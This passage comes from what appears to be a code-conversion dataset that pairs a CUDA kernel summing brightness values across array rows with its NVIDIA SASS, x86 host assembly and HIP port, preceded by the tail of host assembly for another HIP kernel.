movl %esi, 16(%rsp)
movl %edx, 12(%rsp)
movsd %xmm0, 88(%rsp)
movq %rcx, 80(%rsp)
movq %r8, 72(%rsp)
leaq 20(%rsp), %rax
movq %rax, 96(%rsp)
leaq 16(%rsp), %rax
movq %rax, 104(%rsp)
leaq 12(%rsp), %rax
movq %rax, 112(%rsp)
leaq 88(%rsp), %rax
movq %rax, 120(%rsp)
leaq 80(%rsp), %rax
movq %rax, 128(%rsp)
leaq 72(%rsp), %rax
movq %rax, 136(%rsp)
leaq 56(%rsp), %rdi
leaq 40(%rsp), %rsi
leaq 32(%rsp), %rdx
leaq 24(%rsp), %rcx
callq __hipPopCallConfiguration
movq 56(%rsp), %rsi
movl 64(%rsp), %edx
movq 40(%rsp), %rcx
movl 48(%rsp), %r8d
leaq 96(%rsp), %r9
movl $_Z9cg_calc_piiidPKdPd, %edi
pushq 24(%rsp)
.cfi_adjust_cfa_offset 8
pushq 40(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $168, %rsp
.cfi_adjust_cfa_offset -168
retq
.Lfunc_end0:
.size _Z24__device_stub__cg_calc_piiidPKdPd, .Lfunc_end0-_Z24__device_stub__cg_calc_piiidPKdPd
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_ctor
.type __hip_module_ctor,@function
__hip_module_ctor: # @__hip_module_ctor
.cfi_startproc
# %bb.0:
subq $40, %rsp
.cfi_def_cfa_offset 48
cmpq $0, __hip_gpubin_handle(%rip)
jne .LBB1_2
# %bb.1:
movl $__hip_fatbin_wrapper, %edi
callq __hipRegisterFatBinary
movq %rax, __hip_gpubin_handle(%rip)
.LBB1_2:
movq __hip_gpubin_handle(%rip), %rdi
xorps %xmm0, %xmm0
movups %xmm0, 16(%rsp)
movups %xmm0, (%rsp)
movl $_Z9cg_calc_piiidPKdPd, %esi
movl $.L__unnamed_1, %edx
movl $.L__unnamed_1, %ecx
movl $-1, %r8d
xorl %r9d, %r9d
callq __hipRegisterFunction
movl $__hip_module_dtor, %edi
addq $40, %rsp
.cfi_def_cfa_offset 8
jmp atexit # TAILCALL
.Lfunc_end1:
.size __hip_module_ctor, .Lfunc_end1-__hip_module_ctor
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_dtor
.type __hip_module_dtor,@function
__hip_module_dtor: # @__hip_module_dtor
.cfi_startproc
# %bb.0:
movq __hip_gpubin_handle(%rip), %rdi
testq %rdi, %rdi
je .LBB2_2
# %bb.1:
pushq %rax
.cfi_def_cfa_offset 16
callq __hipUnregisterFatBinary
movq $0, __hip_gpubin_handle(%rip)
addq $8, %rsp
.cfi_def_cfa_offset 8
.LBB2_2:
retq
.Lfunc_end2:
.size __hip_module_dtor, .Lfunc_end2-__hip_module_dtor
.cfi_endproc
# -- End function
.type _Z9cg_calc_piiidPKdPd,@object # @_Z9cg_calc_piiidPKdPd
.section .rodata,"a",@progbits
.globl _Z9cg_calc_piiidPKdPd
.p2align 3, 0x0
_Z9cg_calc_piiidPKdPd:
.quad _Z24__device_stub__cg_calc_piiidPKdPd
.size _Z9cg_calc_piiidPKdPd, 8
.type .L__unnamed_1,@object # @0
.section .rodata.str1.1,"aMS",@progbits,1
.L__unnamed_1:
.asciz "_Z9cg_calc_piiidPKdPd"
.size .L__unnamed_1, 22
.type __hip_fatbin_wrapper,@object # @__hip_fatbin_wrapper
.section .hipFatBinSegment,"a",@progbits
.p2align 3, 0x0
__hip_fatbin_wrapper:
.long 1212764230 # 0x48495046
.long 1 # 0x1
.quad __hip_fatbin
.quad 0
.size __hip_fatbin_wrapper, 24
.type __hip_gpubin_handle,@object # @__hip_gpubin_handle
.local __hip_gpubin_handle
.comm __hip_gpubin_handle,8,8
.section .init_array,"aw",@init_array
.p2align 3, 0x0
.quad __hip_module_ctor
.type __hip_cuid_,@object # @__hip_cuid_
.bss
.globl __hip_cuid_
__hip_cuid_:
.byte 0 # 0x0
.size __hip_cuid_, 1
.section ".linker-options","e",@llvm_linker_options
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym _Z24__device_stub__cg_calc_piiidPKdPd
.addrsig_sym __hip_module_ctor
.addrsig_sym __hip_module_dtor
.addrsig_sym _Z9cg_calc_piiidPKdPd
.addrsig_sym __hip_fatbin
.addrsig_sym __hip_fatbin_wrapper
.addrsig_sym __hip_cuid_ |
You are a helpful coding assistant specialized in converting CUDA source code to CUDA device assembly. | #include "includes.h"
__global__ static void ZCalcBrightness(float* DataArray, float* BrightArray, int size, int rows, int cols, int startIndex)
{
int id = blockIdx.x * blockDim.x + threadIdx.x;
if (id >= size * rows) // 超出範圍
return;
// 算 Index
int sizeIndex = id / rows;
int rowIndex = id % rows;
BrightArray[id] = 0;
for (int i = startIndex; i < cols; i++)
{
int currentID = sizeIndex * rows * cols + rowIndex * cols + i;
BrightArray[id] += DataArray[currentID];
}
} | code for sm_80
Function : _Z15ZCalcBrightnessPfS_iiii
.headerflags @"EF_CUDA_TEXMODE_UNIFIED EF_CUDA_64BIT_ADDRESS EF_CUDA_SM80 EF_CUDA_VIRTUAL_SM(EF_CUDA_SM80)"
/*0000*/ MOV R1, c[0x0][0x28] ; /* 0x00000a0000017a02 */
/* 0x000fe40000000f00 */
/*0010*/ S2R R7, SR_CTAID.X ; /* 0x0000000000077919 */
/* 0x000e220000002500 */
/*0020*/ ULDC.64 UR4, c[0x0][0x170] ; /* 0x00005c0000047ab9 */
/* 0x000fe40000000a00 */
/*0030*/ UIMAD UR4, UR5, UR4, URZ ; /* 0x00000004050472a4 */
/* 0x000fe2000f8e023f */
/*0040*/ S2R R0, SR_TID.X ; /* 0x0000000000007919 */
/* 0x000e240000002100 */
/*0050*/ IMAD R7, R7, c[0x0][0x0], R0 ; /* 0x0000000007077a24 */
/* 0x001fca00078e0200 */
/*0060*/ ISETP.GE.AND P0, PT, R7, UR4, PT ; /* 0x0000000407007c0c */
/* 0x000fda000bf06270 */
/*0070*/ @P0 EXIT ; /* 0x000000000000094d */
/* 0x000fea0003800000 */
/*0080*/ MOV R10, c[0x0][0x178] ; /* 0x00005e00000a7a02 */
/* 0x000fe20000000f00 */
/*0090*/ HFMA2.MMA R11, -RZ, RZ, 0, 2.384185791015625e-07 ; /* 0x00000004ff0b7435 */
/* 0x000fe200000001ff */
/*00a0*/ ULDC.64 UR4, c[0x0][0x118] ; /* 0x0000460000047ab9 */
/* 0x000fe40000000a00 */
/*00b0*/ ISETP.GT.AND P0, PT, R10, c[0x0][0x17c], PT ; /* 0x00005f000a007a0c */
/* 0x000fce0003f04270 */
/*00c0*/ IMAD.WIDE R2, R7, R11, c[0x0][0x168] ; /* 0x00005a0007027625 */
/* 0x000fca00078e020b */
/*00d0*/ STG.E [R2.64], RZ ; /* 0x000000ff02007986 */
/* 0x0001e2000c101904 */
/*00e0*/ @!P0 EXIT ; /* 0x000000000000894d */
/* 0x000fea0003800000 */
/*00f0*/ IADD3 R0, R10, -c[0x0][0x17c], RZ ; /* 0x80005f000a007a10 */
/* 0x000fe40007ffe0ff */
/*0100*/ LOP3.LUT R4, RZ, c[0x0][0x17c], RZ, 0x33, !PT ; /* 0x00005f00ff047a12 */
/* 0x000fe400078e33ff */
/*0110*/ LOP3.LUT P1, R6, R0, 0x3, RZ, 0xc0, !PT ; /* 0x0000000300067812 */
/* 0x000fe2000782c0ff */
/*0120*/ IMAD.MOV.U32 R0, RZ, RZ, c[0x0][0x17c] ; /* 0x00005f00ff007624 */
/* 0x000fe200078e00ff */
/*0130*/ IADD3 R4, R4, c[0x0][0x178], RZ ; /* 0x00005e0004047a10 */
/* 0x000fe40007ffe0ff */
/*0140*/ MOV R9, RZ ; /* 0x000000ff00097202 */
/* 0x000fe40000000f00 */
/*0150*/ ISETP.GE.U32.AND P0, PT, R4, 0x3, PT ; /* 0x000000030400780c */
/* 0x000fce0003f06070 */
/*0160*/ @!P1 BRA 0x260 ; /* 0x000000f000009947 */
/* 0x000fec0003800000 */
/*0170*/ IMAD R4, R7, R10, c[0x0][0x17c] ; /* 0x00005f0007047624 */
/* 0x000fe200078e020a */
/*0180*/ HFMA2.MMA R9, -RZ, RZ, 0, 0 ; /* 0x00000000ff097435 */
/* 0x000fe200000001ff */
/*0190*/ MOV R0, c[0x0][0x17c] ; /* 0x00005f0000007a02 */
/* 0x000fe40000000f00 */
/*01a0*/ IMAD.WIDE R4, R4, R11, c[0x0][0x160] ; /* 0x0000580004047625 */
/* 0x000fca00078e020b */
/*01b0*/ MOV R8, R4 ; /* 0x0000000400087202 */
/* 0x000fca0000000f00 */
/*01c0*/ IMAD.MOV.U32 R4, RZ, RZ, R8 ; /* 0x000000ffff047224 */
/* 0x000fcc00078e0008 */
/*01d0*/ LDG.E R4, [R4.64] ; /* 0x0000000404047981 */
/* 0x0022a2000c1e1900 */
/*01e0*/ IADD3 R6, R6, -0x1, RZ ; /* 0xffffffff06067810 */
/* 0x000fe40007ffe0ff */
/*01f0*/ IADD3 R8, P2, R8, 0x4, RZ ; /* 0x0000000408087810 */
/* 0x000fe40007f5e0ff */
/*0200*/ ISETP.NE.AND P1, PT, R6, RZ, PT ; /* 0x000000ff0600720c */
/* 0x000fe40003f25270 */
/*0210*/ IADD3 R0, R0, 0x1, RZ ; /* 0x0000000100007810 */
/* 0x000fe40007ffe0ff */
/*0220*/ IADD3.X R5, RZ, R5, RZ, P2, !PT ; /* 0x00000005ff057210 */
/* 0x002fe200017fe4ff */
/*0230*/ FADD R9, R4, R9 ; /* 0x0000000904097221 */
/* 0x004fca0000000000 */
/*0240*/ STG.E [R2.64], R9 ; /* 0x0000000902007986 */
/* 0x0003e6000c101904 */
/*0250*/ @P1 BRA 0x1c0 ; /* 0xffffff6000001947 */
/* 0x000fea000383ffff */
/*0260*/ @!P0 EXIT ; /* 0x000000000000894d */
/* 0x000fea0003800000 */
/*0270*/ IADD3 R4, -R0, c[0x0][0x178], RZ ; /* 0x00005e0000047a10 */
/* 0x000fe40007ffe1ff */
/*0280*/ PLOP3.LUT P0, PT, PT, PT, PT, 0x80, 0x0 ; /* 0x000000000000781c */
/* 0x000fe40003f0f070 */
/*0290*/ ISETP.GT.AND P1, PT, R4, 0xc, PT ; /* 0x0000000c0400780c */
/* 0x000fe20003f24270 */
/*02a0*/ IMAD R4, R7, c[0x0][0x178], R0 ; /* 0x00005e0007047a24 */
/* 0x000fc800078e0200 */
/*02b0*/ IMAD.WIDE R4, R4, R11, c[0x0][0x160] ; /* 0x0000580004047625 */
/* 0x000fd000078e020b */
/*02c0*/ @!P1 BRA 0x660 ; /* 0x0000039000009947 */
/* 0x000fea0003800000 */
/*02d0*/ PLOP3.LUT P0, PT, PT, PT, PT, 0x8, 0x0 ; /* 0x000000000000781c */
/* 0x000fe40003f0e170 */
/*02e0*/ IADD3 R7, R10, -0xc, RZ ; /* 0xfffffff40a077810 */
/* 0x000fe40007ffe0ff */
/*02f0*/ LDG.E R6, [R4.64] ; /* 0x0000000404067981 */
/* 0x000ea4000c1e1900 */
/*0300*/ FADD R9, R6, R9 ; /* 0x0000000906097221 */
/* 0x016fca0000000000 */
/*0310*/ STG.E [R2.64], R9 ; /* 0x0000000902007986 */
/* 0x0003e8000c101904 */
/*0320*/ LDG.E R6, [R4.64+0x4] ; /* 0x0000040404067981 */
/* 0x000ea4000c1e1900 */
/*0330*/ FADD R11, R9, R6 ; /* 0x00000006090b7221 */
/* 0x004fca0000000000 */
/*0340*/ STG.E [R2.64], R11 ; /* 0x0000000b02007986 */
/* 0x0005e8000c101904 */
/*0350*/ LDG.E R6, [R4.64+0x8] ; /* 0x0000080404067981 */
/* 0x000ee4000c1e1900 */
/*0360*/ FADD R13, R11, R6 ; /* 0x000000060b0d7221 */
/* 0x008fca0000000000 */
/*0370*/ STG.E [R2.64], R13 ; /* 0x0000000d02007986 */
/* 0x0007e8000c101904 */
/*0380*/ LDG.E R6, [R4.64+0xc] ; /* 0x00000c0404067981 */
/* 0x000f24000c1e1900 */
/*0390*/ FADD R15, R13, R6 ; /* 0x000000060d0f7221 */
/* 0x010fca0000000000 */
/*03a0*/ STG.E [R2.64], R15 ; /* 0x0000000f02007986 */
/* 0x0009e8000c101904 */
/*03b0*/ LDG.E R6, [R4.64+0x10] ; /* 0x0000100404067981 */
/* 0x000e64000c1e1900 */
/*03c0*/ FADD R9, R15, R6 ; /* 0x000000060f097221 */
/* 0x002fca0000000000 */
/*03d0*/ STG.E [R2.64], R9 ; /* 0x0000000902007986 */
/* 0x0003e8000c101904 */
/*03e0*/ LDG.E R6, [R4.64+0x14] ; /* 0x0000140404067981 */
/* 0x000ea4000c1e1900 */
/*03f0*/ FADD R11, R9, R6 ; /* 0x00000006090b7221 */
/* 0x004fca0000000000 */
/*0400*/ STG.E [R2.64], R11 ; /* 0x0000000b02007986 */
/* 0x0005e8000c101904 */
/*0410*/ LDG.E R6, [R4.64+0x18] ; /* 0x0000180404067981 */
/* 0x000ee4000c1e1900 */
/*0420*/ FADD R13, R11, R6 ; /* 0x000000060b0d7221 */
/* 0x008fca0000000000 */
/*0430*/ STG.E [R2.64], R13 ; /* 0x0000000d02007986 */
/* 0x0007e8000c101904 */
/*0440*/ LDG.E R6, [R4.64+0x1c] ; /* 0x00001c0404067981 */
/* 0x000f24000c1e1900 */
/*0450*/ FADD R15, R13, R6 ; /* 0x000000060d0f7221 */
/* 0x010fca0000000000 */
/*0460*/ STG.E [R2.64], R15 ; /* 0x0000000f02007986 */
/* 0x0009e8000c101904 */
/*0470*/ LDG.E R6, [R4.64+0x20] ; /* 0x0000200404067981 */
/* 0x000e64000c1e1900 */
/*0480*/ FADD R9, R15, R6 ; /* 0x000000060f097221 */
/* 0x002fca0000000000 */
/*0490*/ STG.E [R2.64], R9 ; /* 0x0000000902007986 */
/* 0x000fe8000c101904 */
/*04a0*/ LDG.E R6, [R4.64+0x24] ; /* 0x0000240404067981 */
/* 0x000ea4000c1e1900 */
/*04b0*/ FADD R11, R9, R6 ; /* 0x00000006090b7221 */
/* 0x004fca0000000000 */
/*04c0*/ STG.E [R2.64], R11 ; /* 0x0000000b02007986 */
/* 0x0003e8000c101904 */
/*04d0*/ LDG.E R6, [R4.64+0x28] ; /* 0x0000280404067981 */
/* 0x000ee4000c1e1900 */
/*04e0*/ FADD R13, R11, R6 ; /* 0x000000060b0d7221 */
/* 0x008fca0000000000 */
/*04f0*/ STG.E [R2.64], R13 ; /* 0x0000000d02007986 */
/* 0x0005e8000c101904 */
/*0500*/ LDG.E R6, [R4.64+0x2c] ; /* 0x00002c0404067981 */
/* 0x000f24000c1e1900 */
/*0510*/ FADD R15, R13, R6 ; /* 0x000000060d0f7221 */
/* 0x010fca0000000000 */
/*0520*/ STG.E [R2.64], R15 ; /* 0x0000000f02007986 */
/* 0x0007e8000c101904 */
/*0530*/ LDG.E R6, [R4.64+0x30] ; /* 0x0000300404067981 */
/* 0x000f24000c1e1900 */
/*0540*/ FADD R17, R15, R6 ; /* 0x000000060f117221 */
/* 0x010fca0000000000 */
/*0550*/ STG.E [R2.64], R17 ; /* 0x0000001102007986 */
/* 0x0009e8000c101904 */
/*0560*/ LDG.E R6, [R4.64+0x34] ; /* 0x0000340404067981 */
/* 0x000e64000c1e1900 */
/*0570*/ FADD R11, R17, R6 ; /* 0x00000006110b7221 */
/* 0x002fca0000000000 */
/*0580*/ STG.E [R2.64], R11 ; /* 0x0000000b02007986 */
/* 0x0009e8000c101904 */
/*0590*/ LDG.E R6, [R4.64+0x38] ; /* 0x0000380404067981 */
/* 0x000ea2000c1e1900 */
/*05a0*/ IADD3 R0, R0, 0x10, RZ ; /* 0x0000001000007810 */
/* 0x000fe20007ffe0ff */
/*05b0*/ FADD R13, R11, R6 ; /* 0x000000060b0d7221 */
/* 0x004fca0000000000 */
/*05c0*/ STG.E [R2.64], R13 ; /* 0x0000000d02007986 */
/* 0x0009e8000c101904 */
/*05d0*/ LDG.E R6, [R4.64+0x3c] ; /* 0x00003c0404067981 */
/* 0x000ea2000c1e1900 */
/*05e0*/ ISETP.GE.AND P1, PT, R0, R7, PT ; /* 0x000000070000720c */
/* 0x000fe20003f26270 */
/*05f0*/ FADD R9, R13, R6 ; /* 0x000000060d097221 */
/* 0x004fe20000000000 */
/*0600*/ IADD3 R6, P2, R4, 0x40, RZ ; /* 0x0000004004067810 */
/* 0x000fc80007f5e0ff */
/*0610*/ IADD3.X R15, RZ, R5, RZ, P2, !PT ; /* 0x00000005ff0f7210 */
/* 0x008fe200017fe4ff */
/*0620*/ STG.E [R2.64], R9 ; /* 0x0000000902007986 */
/* 0x0009e2000c101904 */
/*0630*/ MOV R4, R6 ; /* 0x0000000600047202 */
/* 0x000fc60000000f00 */
/*0640*/ IMAD.MOV.U32 R5, RZ, RZ, R15 ; /* 0x000000ffff057224 */
/* 0x000fe400078e000f */
/*0650*/ @!P1 BRA 0x2f0 ; /* 0xfffffc9000009947 */
/* 0x000fea000383ffff */
/*0660*/ IADD3 R6, -R0, c[0x0][0x178], RZ ; /* 0x00005e0000067a10 */
/* 0x000fc80007ffe1ff */
/*0670*/ ISETP.GT.AND P1, PT, R6, 0x4, PT ; /* 0x000000040600780c */
/* 0x000fda0003f24270 */
/*0680*/ @!P1 BRA 0x870 ; /* 0x000001e000009947 */
/* 0x000fea0003800000 */
/*0690*/ LDG.E R6, [R4.64] ; /* 0x0000000404067981 */
/* 0x000ea4000c1e1900 */
/*06a0*/ FADD R9, R9, R6 ; /* 0x0000000609097221 */
/* 0x016fca0000000000 */
/*06b0*/ STG.E [R2.64], R9 ; /* 0x0000000902007986 */
/* 0x000fe8000c101904 */
/*06c0*/ LDG.E R6, [R4.64+0x4] ; /* 0x0000040404067981 */
/* 0x000ea4000c1e1900 */
/*06d0*/ FADD R7, R9, R6 ; /* 0x0000000609077221 */
/* 0x004fca0000000000 */
/*06e0*/ STG.E [R2.64], R7 ; /* 0x0000000702007986 */
/* 0x0003e8000c101904 */
/*06f0*/ LDG.E R6, [R4.64+0x8] ; /* 0x0000080404067981 */
/* 0x000ea4000c1e1900 */
/*0700*/ FADD R11, R7, R6 ; /* 0x00000006070b7221 */
/* 0x004fca0000000000 */
/*0710*/ STG.E [R2.64], R11 ; /* 0x0000000b02007986 */
/* 0x0005e8000c101904 */
/*0720*/ LDG.E R6, [R4.64+0xc] ; /* 0x00000c0404067981 */
/* 0x000ee4000c1e1900 */
/*0730*/ FADD R13, R11, R6 ; /* 0x000000060b0d7221 */
/* 0x008fca0000000000 */
/*0740*/ STG.E [R2.64], R13 ; /* 0x0000000d02007986 */
/* 0x0007e8000c101904 */
/*0750*/ LDG.E R6, [R4.64+0x10] ; /* 0x0000100404067981 */
/* 0x000f24000c1e1900 */
/*0760*/ FADD R15, R13, R6 ; /* 0x000000060d0f7221 */
/* 0x010fca0000000000 */
/*0770*/ STG.E [R2.64], R15 ; /* 0x0000000f02007986 */
/* 0x0009e8000c101904 */
/*0780*/ LDG.E R6, [R4.64+0x14] ; /* 0x0000140404067981 */
/* 0x000e64000c1e1900 */
/*0790*/ FADD R7, R15, R6 ; /* 0x000000060f077221 */
/* 0x002fca0000000000 */
/*07a0*/ STG.E [R2.64], R7 ; /* 0x0000000702007986 */
/* 0x0009e8000c101904 */
/*07b0*/ LDG.E R6, [R4.64+0x18] ; /* 0x0000180404067981 */
/* 0x000ea4000c1e1900 */
/*07c0*/ FADD R11, R7, R6 ; /* 0x00000006070b7221 */
/* 0x004fca0000000000 */
/*07d0*/ STG.E [R2.64], R11 ; /* 0x0000000b02007986 */
/* 0x0009e8000c101904 */
/*07e0*/ LDG.E R6, [R4.64+0x1c] ; /* 0x00001c0404067981 */
/* 0x000ea2000c1e1900 */
/*07f0*/ PLOP3.LUT P0, PT, PT, PT, PT, 0x8, 0x0 ; /* 0x000000000000781c */
/* 0x000fe40003f0e170 */
/*0800*/ IADD3 R0, R0, 0x8, RZ ; /* 0x0000000800007810 */
/* 0x000fe20007ffe0ff */
/*0810*/ FADD R9, R11, R6 ; /* 0x000000060b097221 */
/* 0x004fe20000000000 */
/*0820*/ IADD3 R6, P1, R4, 0x20, RZ ; /* 0x0000002004067810 */
/* 0x000fc80007f3e0ff */
/*0830*/ STG.E [R2.64], R9 ; /* 0x0000000902007986 */
/* 0x0009e2000c101904 */
/*0840*/ IADD3.X R13, RZ, R5, RZ, P1, !PT ; /* 0x00000005ff0d7210 */
/* 0x008fe40000ffe4ff */
/*0850*/ MOV R4, R6 ; /* 0x0000000600047202 */
/* 0x000fe40000000f00 */
/*0860*/ MOV R5, R13 ; /* 0x0000000d00057202 */
/* 0x000fe40000000f00 */
/*0870*/ ISETP.LT.OR P0, PT, R0, c[0x0][0x178], P0 ; /* 0x00005e0000007a0c */
/* 0x000fda0000701670 */
/*0880*/ @!P0 EXIT ; /* 0x000000000000894d */
/* 0x000fea0003800000 */
/*0890*/ LDG.E R0, [R4.64] ; /* 0x0000000404007981 */
/* 0x000ea4000c1e1900 */
/*08a0*/ FADD R9, R0, R9 ; /* 0x0000000900097221 */
/* 0x016fca0000000000 */
/*08b0*/ STG.E [R2.64], R9 ; /* 0x0000000902007986 */
/* 0x000fe8000c101904 */
/*08c0*/ LDG.E R0, [R4.64+0x4] ; /* 0x0000040404007981 */
/* 0x000ea4000c1e1900 */
/*08d0*/ FADD R7, R9, R0 ; /* 0x0000000009077221 */
/* 0x004fca0000000000 */
/*08e0*/ STG.E [R2.64], R7 ; /* 0x0000000702007986 */
/* 0x000fe8000c101904 */
/*08f0*/ LDG.E R0, [R4.64+0x8] ; /* 0x0000080404007981 */
/* 0x000ea4000c1e1900 */
/*0900*/ FADD R11, R7, R0 ; /* 0x00000000070b7221 */
/* 0x004fca0000000000 */
/*0910*/ STG.E [R2.64], R11 ; /* 0x0000000b02007986 */
/* 0x000fe8000c101904 */
/*0920*/ LDG.E R0, [R4.64+0xc] ; /* 0x00000c0404007981 */
/* 0x000ea4000c1e1900 */
/*0930*/ FADD R13, R11, R0 ; /* 0x000000000b0d7221 */
/* 0x004fca0000000000 */
/*0940*/ STG.E [R2.64], R13 ; /* 0x0000000d02007986 */
/* 0x000fe2000c101904 */
/*0950*/ EXIT ; /* 0x000000000000794d */
/* 0x000fea0003800000 */
/*0960*/ BRA 0x960; /* 0xfffffff000007947 */
/* 0x000fc0000383ffff */
/*0970*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0980*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0990*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*09a0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*09b0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*09c0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*09d0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*09e0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*09f0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
.......... |
You are a helpful coding assistant specialized in converting CUDA source code to CUDA host assembly. | #include "includes.h"
__global__ static void ZCalcBrightness(float* DataArray, float* BrightArray, int size, int rows, int cols, int startIndex)
{
int id = blockIdx.x * blockDim.x + threadIdx.x;
if (id >= size * rows) // 超出範圍
return;
// 算 Index
int sizeIndex = id / rows;
int rowIndex = id % rows;
BrightArray[id] = 0;
for (int i = startIndex; i < cols; i++)
{
int currentID = sizeIndex * rows * cols + rowIndex * cols + i;
BrightArray[id] += DataArray[currentID];
}
} | .file "tmpxft_001011cb_00000000-6_ZCalcBrightness.cudafe1.cpp"
.text
#APP
#NO_APP
.type _ZL26__cudaUnregisterBinaryUtilv, @function
_ZL26__cudaUnregisterBinaryUtilv:
.LFB2029:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaUnregisterFatBinary@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2029:
.size _ZL26__cudaUnregisterBinaryUtilv, .-_ZL26__cudaUnregisterBinaryUtilv
.type _ZL15ZCalcBrightnessPfS_iiii, @function
_ZL15ZCalcBrightnessPfS_iiii:
.LFB2052:
.cfi_startproc
endbr64
subq $168, %rsp
.cfi_def_cfa_offset 176
movq %fs:40, %rax
movq %rax, 152(%rsp)
xorl %eax, %eax
movq %rdi, 16(%rsp)
movq %rsi, 24(%rsp)
movl %edx, (%rsp)
movl %ecx, 4(%rsp)
movl %r8d, 8(%rsp)
movl %r9d, 12(%rsp)
leaq 16(%rsp), %rax
movq %rax, 96(%rsp)
leaq 24(%rsp), %rax
movq %rax, 104(%rsp)
movq %rsp, %rax
movq %rax, 112(%rsp)
leaq 4(%rsp), %rax
movq %rax, 120(%rsp)
leaq 8(%rsp), %rax
movq %rax, 128(%rsp)
leaq 12(%rsp), %rax
movq %rax, 136(%rsp)
movl $1, 48(%rsp)
movl $1, 52(%rsp)
movl $1, 56(%rsp)
movl $1, 60(%rsp)
movl $1, 64(%rsp)
movl $1, 68(%rsp)
leaq 40(%rsp), %rcx
leaq 32(%rsp), %rdx
leaq 60(%rsp), %rsi
leaq 48(%rsp), %rdi
call __cudaPopCallConfiguration@PLT
testl %eax, %eax
je .L7
.L3:
movq 152(%rsp), %rax
subq %fs:40, %rax
jne .L8
addq $168, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L7:
.cfi_restore_state
pushq 40(%rsp)
.cfi_def_cfa_offset 184
pushq 40(%rsp)
.cfi_def_cfa_offset 192
leaq 112(%rsp), %r9
movq 76(%rsp), %rcx
movl 84(%rsp), %r8d
movq 64(%rsp), %rsi
movl 72(%rsp), %edx
leaq _ZL15ZCalcBrightnessPfS_iiii(%rip), %rdi
call cudaLaunchKernel@PLT
addq $16, %rsp
.cfi_def_cfa_offset 176
jmp .L3
.L8:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2052:
.size _ZL15ZCalcBrightnessPfS_iiii, .-_ZL15ZCalcBrightnessPfS_iiii
.section .rodata.str1.1,"aMS",@progbits,1
.LC0:
.string "_Z15ZCalcBrightnessPfS_iiii"
.text
.type _ZL24__sti____cudaRegisterAllv, @function
_ZL24__sti____cudaRegisterAllv:
.LFB2054:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
leaq _ZL15__fatDeviceText(%rip), %rdi
call __cudaRegisterFatBinary@PLT
movq %rax, %rdi
movq %rax, _ZL20__cudaFatCubinHandle(%rip)
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
pushq $0
.cfi_def_cfa_offset 40
pushq $0
.cfi_def_cfa_offset 48
movl $0, %r9d
movl $-1, %r8d
leaq .LC0(%rip), %rdx
movq %rdx, %rcx
leaq _ZL15ZCalcBrightnessPfS_iiii(%rip), %rsi
call __cudaRegisterFunction@PLT
addq $32, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaRegisterFatBinaryEnd@PLT
leaq _ZL26__cudaUnregisterBinaryUtilv(%rip), %rdi
call atexit@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2054:
.size _ZL24__sti____cudaRegisterAllv, .-_ZL24__sti____cudaRegisterAllv
.section .init_array,"aw"
.align 8
.quad _ZL24__sti____cudaRegisterAllv
.section .nvFatBinSegment,"aw"
.align 8
.type _ZL15__fatDeviceText, @object
.size _ZL15__fatDeviceText, 24
_ZL15__fatDeviceText:
.long 1180844977
.long 1
.quad fatbinData
.quad 0
.local _ZL20__cudaFatCubinHandle
.comm _ZL20__cudaFatCubinHandle,8,8
.ident "GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4: |
You are a helpful coding assistant specialized in converting CUDA source code to HIP/AMD source code. | #include "includes.h"
__global__ static void ZCalcBrightness(float* DataArray, float* BrightArray, int size, int rows, int cols, int startIndex)
{
int id = blockIdx.x * blockDim.x + threadIdx.x;
if (id >= size * rows) // 超出範圍
return;
// 算 Index
int sizeIndex = id / rows;
int rowIndex = id % rows;
BrightArray[id] = 0;
for (int i = startIndex; i < cols; i++)
{
int currentID = sizeIndex * rows * cols + rowIndex * cols + i;
BrightArray[id] += DataArray[currentID];
}
} | #include <hip/hip_runtime.h>
#include "includes.h"
__global__ static void ZCalcBrightness(float* DataArray, float* BrightArray, int size, int rows, int cols, int startIndex)
{
int id = blockIdx.x * blockDim.x + threadIdx.x;
if (id >= size * rows) // 超出範圍
return;
// 算 Index
int sizeIndex = id / rows;
int rowIndex = id % rows;
BrightArray[id] = 0;
for (int i = startIndex; i < cols; i++)
{
int currentID = sizeIndex * rows * cols + rowIndex * cols + i;
BrightArray[id] += DataArray[currentID];
}
} |
You are a helpful coding assistant specialized in converting HIP source code to AMD device assembly. | #include <hip/hip_runtime.h>
#include "includes.h"
__global__ static void ZCalcBrightness(float* DataArray, float* BrightArray, int size, int rows, int cols, int startIndex)
{
int id = blockIdx.x * blockDim.x + threadIdx.x;
if (id >= size * rows) // 超出範圍
return;
// 算 Index
int sizeIndex = id / rows;
int rowIndex = id % rows;
BrightArray[id] = 0;
for (int i = startIndex; i < cols; i++)
{
